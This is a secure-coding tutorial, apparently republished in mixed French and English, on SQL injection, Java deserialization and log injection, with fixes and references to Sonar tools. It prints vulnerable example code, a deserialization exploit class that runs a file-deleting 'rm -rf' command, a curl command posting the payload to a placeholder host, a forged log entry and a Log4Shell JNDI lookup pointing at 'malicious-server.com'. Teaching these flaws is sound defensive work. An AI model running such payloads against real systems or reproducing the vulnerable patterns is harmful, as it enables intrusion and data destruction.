Maison  >  Article  >  Java  >  Principales failles de sécurité qui se cachent actuellement dans votre code – et comment les corriger

Principales failles de sécurité qui se cachent actuellement dans votre code – et comment les corriger

WBOY
WBOYoriginal
2024-08-30 06:01:20765parcourir

En 2019, une célèbre faille dans Fortnite, le célèbre jeu, aurait exposé des millions de joueurs à des logiciels malveillants. L'incident a mis en évidence l'importance de sécuriser correctement les bases de données SQL.

Mais ce n'est pas un problème isolé.

Plusieurs attaques impliquant l'injection SQL ont eu lieu, comme celle subie par Tesla en 2018. Dans ce cas, une autre attaque par injection SQL a affecté la console Kubernetes de Tesla, provoquant des pertes financières dues à des activités d'extraction de crypto non autorisées.

Mais il ne s'agit pas seulement d'injection SQL.

Il existe d'autres vecteurs d'attaque dont votre code peut souffrir à l'heure actuelle, comme les grandes entreprises l'ont souffert dans le passé.

Comme celui de 2021 dans la bibliothèque Log4J appelé Log4Shell qui impliquait une attaque par injection de journalisation ayant impacté des millions de serveurs dans le monde jusqu'à aujourd'hui, ou celui de 2022 dans Atlassian Jira qui impliquait une attaque de désérialisation impactant plusieurs versions de Jira concédant l'intégralité contrôle à l'attaquant.

Cela pourrait arriver à n'importe qui, même à vous.

Dans cet article, je vais aborder les 3 attaques les plus courantes dans le code : l'injection SQL, l'injection de désérialisation et l'injection de journalisation, et comment les résoudre.

Injection SQL

Les applications qui stockent des informations dans des bases de données utilisent souvent des valeurs générées par l'utilisateur pour vérifier les autorisations, stocker des informations ou simplement récupérer des données stockées dans des tables, des documents, des points, des nœuds, etc.

À ce moment-là, lorsque notre application utilise ces valeurs, une utilisation inappropriée pourrait permettre aux attaquants d'introduire des requêtes supplémentaires envoyées à la base de données pour récupérer des valeurs non autorisées ou même de modifier ces tables pour y accéder.

Le code suivant récupère un utilisateur de la base de données en tenant compte du nom d'utilisateur fourni dans la page de connexion. Tout semble aller bien.

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users " +
                   "WHERE username='" + user + "' AND password='" + pass + "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }

Cependant, lorsque l'attaquant utilise des techniques d'injection, ce code, utilisant l'interpolation de chaînes, entraînera des résultats inattendus, permettant à l'attaquant de se connecter à l'application.

Top Security Flaws hiding in your code right now - and how to fix them

Pour résoudre ce problème, nous modifierions cette approche de l'utilisation de la concaténation de chaînes à l'injection de paramètres. En fait, la concaténation de chaînes est généralement une mauvaise idée, en termes de performances et de sécurité.

String query = "SELECT userid FROM users " +
               "WHERE username='" + user + "' AND password='" + pass + "'";

Changer l'inclusion des valeurs des paramètres directement dans la chaîne SQL, en paramètres que nous pourrons référencer plus tard résoudra le problème des requêtes piratées.

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

Notre code fixe ressemblera à ceci, avec le PrepareStatement et le réglage de la valeur pour chaque paramètre.

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }

Les règles SonarQube et SonarCloud qui aident à détecter la vulnérabilité d'injection SQL peuvent être trouvées ici

Injection de désérialisation

La désérialisation est le processus de conversion de données d'un format sérialisé (comme un flux d'octets, une chaîne ou un fichier) en un objet ou une structure de données avec laquelle un programme peut travailler.

Les utilisations courantes de la désérialisation incluent les données envoyées entre les API et les services Web sous la forme de structures JSON, ou dans les applications modernes utilisant RPC (Remote Procedure Calls) sous la forme de messages protobuf.

La conversion de la charge utile du message en objet peut impliquer de graves vulnérabilités si aucune étape de nettoyage ou de vérification n'est mise en œuvre.

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

Nous pouvons voir ici que nous utilisons objectIS, une valeur directe provenant de l'utilisateur dans le flux d'entrée de la requête, et que nous la convertissons en un nouvel objet.
Nous nous attendons à ce que la valeur soit toujours l’une des classes utilisées par notre application. Bien sûr, notre client n’enverrait jamais autre chose, n’est-ce pas ? Le feraient-ils ?

Mais que se passe-t-il si un client malveillant envoie une autre classe dans la requête ?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

Dans ce cas, nous avons une classe qui supprime un fichier lors du constructeur par défaut, ce qui se produira lors de l'appel readObject précédent.

L'attaquant n'a qu'à sérialiser cette classe et l'envoyer à l'API :

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user

Heureusement, il existe un moyen simple de résoudre ce problème. Nous devons vérifier si la classe à désérialiser appartient à l'un des types autorisés avant de créer l'objet.

Dans le code ci-dessus, nous avons créé un nouveau ObjectInputStream avec la méthode « resolveClass » remplacée contenant une vérification du nom de la classe. Nous utilisons cette nouvelle classe, SecureObjectInputStream, pour obtenir le flux d'objets. Mais nous incluons une vérification de la liste autorisée avant de lire le flux dans un objet (utilisateur).

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

Les règles SonarCloud/SonarQube et SonarLint qui aident à détecter la vulnérabilité d'injection de désérialisation peuvent être trouvées ici

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup " + providerUrl + " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn